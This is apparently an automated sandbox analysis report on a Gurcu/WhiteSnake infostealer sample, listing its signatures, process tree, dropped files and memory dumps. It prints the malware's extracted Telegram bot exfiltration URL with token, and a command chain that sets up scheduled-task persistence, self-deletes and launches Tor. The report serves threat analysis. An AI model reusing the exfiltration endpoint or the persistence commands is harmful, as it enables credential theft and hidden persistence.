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230627-stryjsfe8s10Analysis
- max time kernel
121s - max time network
124s - platform
windows10-2004_x64 - resource
win10v2004-20230621-en - resource tags
- submitted
27/06/2023, 15:25
General
- Target 446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe
- Size 344KB
- Sample230627-stryjsfe8s
- SHA256 446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89
Malware Config
Extracted
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gurcu
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https://api.telegram.org/bot6202531839:AAHT41T-v1F7LRPMrYNhW3IEdF7Ab7I7uTM/sendMessage?chat_id=-1001903439899
Signatures
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 6 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 2 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 18 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe"C:\Users\Admin\AppData\Local\Temp\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe" &&START "" "C:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650013⤵
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C:\Windows\system32\PING.EXEping 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\schtasks.exeschtasks /create /tn "446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe"C:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
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C:\Windows\System32\tar.exe"C:\Windows\System32\tar.exe" -xvzf "C:\Users\Admin\AppData\Local\Temp\tmp7D14.tmp" -C "C:\Users\Admin\AppData\Local\8lxyt4fm8n"4⤵
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C:\Users\Admin\AppData\Local\8lxyt4fm8n\tor\tor.exe"C:\Users\Admin\AppData\Local\8lxyt4fm8n\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\8lxyt4fm8n\torrc.txt"4⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exeC:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\8lxyt4fm8n\tor\tor.exe"C:\Users\Admin\AppData\Local\8lxyt4fm8n\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\8lxyt4fm8n\torrc.txt"2⤵
- Executes dropped EXE
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1356 -s 21122⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 404 -p 1356 -ip 13561⤵
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C:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exeC:\Users\Admin\AppData\Local\Nvidia\446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\8lxyt4fm8n\tor\tor.exe"C:\Users\Admin\AppData\Local\8lxyt4fm8n\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\8lxyt4fm8n\torrc.txt"2⤵
- Executes dropped EXE
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1220 -s 19202⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 520 -p 1220 -ip 12201⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
cached-microdesc-consensus.tmp
cached-microdescs.new
hostname
port.dat
tor.exe
tor.exe
tor.exe
tor.exe
torrc.txt
446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe.log
446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe
446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe
446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe
446278b00e672276ebd77b7a20356f9fdad4aeb0add39d714de87f3c6b17af89.exe
tmp7D14.tmp
memory/1220-210-0x000002571A290000-0x000002571A2A0000-memory.dmp
memory/1356-189-0x00000197C4480000-0x00000197C4490000-memory.dmp
memory/1856-171-0x000002810BDA0000-0x000002810BDB0000-memory.dmp
memory/1856-142-0x000002810BDA0000-0x000002810BDB0000-memory.dmp
memory/2664-133-0x000001A467680000-0x000001A4676DC000-memory.dmp